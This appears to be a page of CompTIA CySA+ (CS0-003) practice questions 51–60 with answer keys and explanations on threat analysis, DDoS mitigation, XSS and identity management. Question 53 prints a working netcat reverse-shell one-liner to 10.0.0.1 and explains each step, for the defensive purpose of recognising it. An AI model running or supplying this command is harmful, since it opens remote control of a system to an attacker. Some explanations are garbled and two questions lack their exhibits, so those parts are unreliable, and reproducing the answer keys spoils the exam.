CompTIA CompTIA Certifications CS0-003 Questions & Answers

• Question 51:

  Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

  A. It provides analytical pivoting and identifies knowledge gaps.

  B. It guarantees that the discovered vulnerability will not be exploited again in the future.

  C. It provides concise evidence that can be used in court

  D. It allows for proactive detection and analysis of attack events

  Correct Answer: A

  The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation.

• Question 52:

  A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?

  A. Block the attacks using firewall rules.

  B. Deploy an IPS in the perimeter network.

  C. Roll out a CDN.

  D. Implement a load balancer.

  Correct Answer: C

  Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

• Question 53:

  A security analyst detected the following suspicious activity:

  rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>and1|nc 10.0.0.1 1234 > tmp/f

  Which of the following most likely describes the activity?

  A. Network pivoting

  B. Host scanning

  C. Privilege escalation

  D. Reverse shell

  Correct Answer: D

  The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>and1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps: m -f /tmp/f deletes any existing file named /tmp/f knod /tmp/f p creates a named pipe (FIFO) file named /tmp/f at /tmp/f|/bin/sh -i 2>and1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output c 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell. References Hack the Galaxy Reverse Shell Cheat Sheet

• Question 54:

  An analyst needs to provide recommendations based on a recent vulnerability scan:

  

  Which of the following should the analyst recommend addressing to ensure potential vulnerabilities are identified?

  A. SMB use domain SID to enumerate users

  B. SYN scanner

  C. SSL certificate cannot be trusted

  D. Scan not performed with admin privileges

  Correct Answer: D

  This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to detect. According to the OWASP Vulnerability Management Guide1, "scanning without administrative privileges will result in a large number of false negatives and an incomplete scan". Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.

• Question 55:

  Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

  A. Hacktivist threat

  B. Advanced persistent threat

  C. Unintentional insider threat

  D. Nation-state threat

  Correct Answer: C

  An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments from known sources. ReferencesCompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices | Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

• Question 56:

  Which of the following does "federation" most likely refer to within the context of identity and access management?

  A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access

  B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains

  C. Utilizing a combination of what you know, who you are, and what you have to grant authentication to a user

  D. Correlating one's identity with the attributes and associated applications the user has access to

  Correct Answer: B

  Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

• Question 57:

  A security analyst found the following vulnerability on the company's website:

  Which of the following should be implemented to prevent this type of attack in the future?

  A. Input sanitization

  B. Output encoding

  C. Code obfuscation

  D. Prepared statements

  Correct Answer: A

  This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim. Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as <, >, ", ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match. Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as <, >, ", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;. Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

• Question 58:

  A security analyst is working on a server patch management policy that will allow the infrastructure team to be informed more quickly about new patches.

  Which of the following would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly? (Select two).

  A. Hostname

  B. Missing KPI

  C. CVE details

  D. POC availability

  E. loCs

  F. npm identifier

  Correct Answer: CE

  CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

• Question 59:

  A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process. Which of the following is an example of a tool that can produce such evidence?

  A. OpenVAS

  B. Burp Suite

  C. Nmap

  D. Wireshark

  Correct Answer: A

  OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditing purposes. References: CompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

• Question 60:

  Which of the following best describes the key elements of a successful information security program?

  A. Business impact analysis, asset and change management, and security communication plan

  B. Security policy implementation, assignment of roles and responsibilities, and information asset classification

  C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies

  D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems

  Correct Answer: B

  A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets. Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets. Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets. Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting. Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset.